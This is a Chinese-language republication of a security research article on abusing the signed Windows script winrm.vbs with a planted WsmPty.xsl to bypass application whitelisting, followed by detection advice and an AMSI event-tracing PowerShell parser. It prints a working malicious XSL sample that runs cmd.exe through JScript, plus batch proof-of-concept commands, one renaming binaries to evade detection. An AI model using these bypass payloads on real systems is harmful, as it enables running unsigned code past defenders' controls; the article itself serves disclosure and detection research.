您好,登錄后才能下訂單哦!
這篇文章給大家分享的是有關(guān)如何使用Winrm.vbs繞過應(yīng)用白名單執(zhí)行任意未簽名代碼的內(nèi)容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。
嚴(yán)正聲明:本文僅限于技術(shù)探討,嚴(yán)禁用于其他用途。
winrm.vbs(System31中的一個Windows簽名腳本)能夠執(zhí)行攻擊者控制的XSL,它不會受到相關(guān)腳本主機的限制,并實現(xiàn)任意無符號代碼執(zhí)行。
當(dāng)你向winrm.vbs提供“-format:pretty”或“-format:text”時,它會從cscript.exe所在的目錄中相應(yīng)地導(dǎo)出WsmPty.xsl或WsmTxt.xsl。這也就意味著,如果攻擊者能夠?qū)script.exe拷貝到一個他能控制的且存儲了惡意XSL的位置,他們就能夠執(zhí)行任意未簽名的代碼。實際上,這個問題跟Casey Smith的wmic.exe技術(shù)完全相同。
攻擊操作機制如下:
1. 將WsmPty.xsl或WsmTxt.xsl存放到一個由攻擊者控制的地方;
2. 將cscript.exe拷貝到同一個位置;
3. 通過“-format”指定”pretty”或“text”來執(zhí)行winrm.vbs,具體取決于使用的是WsmPty.xsl或WsmTxt.xsl。
下面給出的是一個惡意XLS樣本,我們需要將它放到攻擊者控制的目錄位置,這里選擇的是C:\BypassDir\WsmPty.xsl:
<?xmlversion='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <outputmethod="text"/> <ms:scriptimplements-prefix="user" language="JScript"> <![CDATA[ var r = newActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>
其實我們還可以在WsmPty.xsl中嵌入惡意的DotNetToJScript Payload,并執(zhí)行任意未簽名代碼。接下來,可以使用下列batch文件來執(zhí)行Payload:
mkdir%SystemDrive%\BypassDir copy%windir%\System32\cscript.exe %SystemDrive%\BypassDir %SystemDrive%\BypassDir\cscript//nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty
在實現(xiàn)這項技術(shù)的過程中,必須用到的就是攻擊者可控的WsmPty.xsl或WsmTxt.xsl。
winrm.vbs會對WsmPty.xsl或WsmTxt.xsl進行硬編碼,并顯式地將它們綁定到“pretty”和“text”參數(shù)上。就此看來,我們似乎沒有辦法來控制winrm.vbs去執(zhí)行當(dāng)前目錄中的不同xls文件。從檢測的角度來看,WsmPty.xsl或WsmTxt.xsl文件的哈希會跟System 32中原本的文件哈希不同,因此它們會被當(dāng)作可疑文件,因為合法xls文件的哈希值很少會發(fā)生變化。
除此之外,合法WsmPty.xsl或WsmTxt.xsl文件應(yīng)該是目錄簽名的,哈希值發(fā)生變化后將不會再對其進行簽名。也就是說,磁盤中任何沒有簽名的WsmPty.xsl或WsmTxt.xsl文件都應(yīng)該是可疑文件。需要注意的是,目錄簽名驗證需要運行“cryptsvc”服務(wù)。
基于命令行來檢測winrm.vbs是否存在的這種方案相對較弱,因為攻擊者可以將winrm.vbs重命名為他們所選擇的文件。
為了使用xls文件,這里必須在“format”參數(shù)中指定“pretty”或“text”。下面給出的是支持的“format”參數(shù)(大小寫不敏感):
-format:pretty -format:"pretty" /format:pretty /format:"pretty" -format:text -format:"text" /format:text /format:"text"
雖然構(gòu)建基于“format”是否存在的檢測方案能夠捕捉到所有的變化,但這種檢測方案是存在問題的?!癴ormat”參數(shù)是否合法使用將取決于組織所采用的方案。不過除了System32中的cscript.exe和winrm.vbs之外,不太可能從其他任何地方合法調(diào)用了。
下面給出的是一個更新版的.bat PoC,它能夠繞過cscript.exe的檢測:
mkdir%SystemDrive%\BypassDir\cscript.exe copy%windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe//nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty
毫無疑問,攻擊者還會繼續(xù)使用XSL和WSH來進行攻擊。理想情況下,攻擊者是可以知道Payload到底是從硬盤中執(zhí)行的還是完全在內(nèi)存中執(zhí)行的。雖然Powershell具有這種使用scriptblock日志的能力,但針對WSH卻沒有相應(yīng)的工具。隨著反惡意軟件掃描接口(AMSI)的引入,我們將能夠捕捉到WSH內(nèi)容。
這里我們可以使用logman.exe來對ETL事件進行跟蹤,比如說下列命令將能夠控制ETW的跟蹤操作,并將跟AMSI相關(guān)的事件信息保存早AMSITrace.etl之中:
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl-ets <Afterstarting the trace, this is when you'd run your malicious code to capture itscontext.> logmanstop AMSITrace -ets
接下來,我們還可以通過輸出數(shù)據(jù)清單來了解更多事件信息:
<instrumentation Manifestxmlns="http://schemas.microsoft.com/win/2004/08/events"> <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"> <events> <provider name="Microsoft-Antimalware-Scan-Interface"guid="{2a576b87-09a7-520e-c21a-4942f0271d67}"resourceFileName="Microsoft-Antimalware-Scan-Interface"messageFileName="Microsoft-Antimalware-Scan-Interface"symbol="MicrosoftAntimalwareScanInterface" source="Xml"> <keywords> <keyword name="Event1"message="$(string.keyword_Event1)" mask="0x1"/> </keywords> <tasks> <task name="task_0"message="$(string.task_task_0)" value="0"/> </tasks> <events> <event value="1101"symbol="task_0" version="0" task="task_0"level="win:Informational" keywords="Event1"template="task_0Args"/> </events> <templates> <templatetid="task_0Args"> <data name="session"inType="win:Pointer"/> <data name="scanStatus"inType="win:UInt8"/> <data name="scanResult"inType="win:UInt32"/> <data name="appname"inType="win:UnicodeString"/> <data name="contentname"inType="win:UnicodeString"/> <data name="contentsize"inType="win:UInt32"/> <data name="originalsize"inType="win:UInt32"/> <data name="content"inType="win:Binary" length="contentsize"/> <data name="hash" inType="win:Binary"/> <data name="contentFiltered"inType="win:Boolean"/> </template> </templates> </provider> </events> </instrumentation> <localization> <resources culture="en-US"> <stringTable> <string id="keyword_Event1"value="Event1"/> <string id="task_task_0"value="task_0"/> </stringTable> </resources> </localization> </instrumentation Manifest>
捕捉到.etl跟蹤信息之后,我們可以選擇自己喜歡的工具來對其進行分析。Powershell中的Gt-WinEvent就是一個很好的內(nèi)置.etl解析器。為此,我自己編寫了一個簡單的腳本來分析AMSI事件,這個腳本還可以捕捉到PowerShell中的內(nèi)容:
#Script author: Matt Graeber (@mattifestation) #logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -oAMSITrace.etl -ets # Doyour malicious things here that would be logged by AMSI #logman stop AMSITrace -ets $OSArchProperty= Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture $OSArch= $OSArchProperty.OSArchitecture $OSPointerSize= 32 if($OSArch -eq '64-bit') { $OSPointerSize = 64 } $AMSIScanEvents= Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath'*[System[EventID=1101]]' | ForEach-Object { if(-not $_.Properties) { # The AMSI provider is not supplyingthe contentname property when WSH content is logged resulting # in Get-WinEvent or Event Viewer beingunable to parse the data based on the schema. # If this bug were not present,retrieving WSH content would be trivial. $PayloadString = ([Xml]$_.ToXml()).Event.ProcessingErrorData.EventPayload [Byte[]] $PayloadBytes =($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object{[Byte] "0x$_"}) $MemoryStream = New-Object -TypeNameIO.MemoryStream -ArgumentList @(,$PayloadBytes) $BinaryReader = New-Object -TypeNameIO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode) switch ($OSPointerSize) { 32 { $Session =$BinaryReader.ReadUInt32() } 64 { $Session =$BinaryReader.ReadUInt64() } } $ScanStatus = $BinaryReader.ReadByte() $ScanResult = $BinaryReader.ReadInt32() $StringBuilder = New-Object -TypeNameText.StringBuilder do { $CharVal =$BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) }while ($CharVal -ne 0) $AppName = $StringBuilder.ToString() $null = $StringBuilder.Clear() $ContentSize =$BinaryReader.ReadInt32() $OriginalSize =$BinaryReader.ReadInt32() $ContentRaw =$BinaryReader.ReadBytes($ContentSize) $Content =[Text.Encoding]::Unicode.GetString($ContentRaw) $Hash =[BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '') [Bool] $ContentFiltered =$BinaryReader.ReadInt32() $BinaryReader.Close() [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $null Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } else { $Session = $_.Properties[0].Value $ScanStatus = $_.Properties[1].Value $ScanResult = $_.Properties[2].Value $AppName = $_.Properties[3].Value $ContentName = $_.Properties[4].Value $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value) $Hash =[BitConverter]::ToString($_.Properties[8].Value).Replace('-', '') $ContentFiltered =$_.Properties[9].Value [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $ContentName Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } } $AMSIScanEvents
捕捉到相關(guān)信息之后,我們將能夠看到Payload的執(zhí)行內(nèi)容:
感謝各位的閱讀!關(guān)于“如何使用Winrm.vbs繞過應(yīng)用白名單執(zhí)行任意未簽名代碼”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。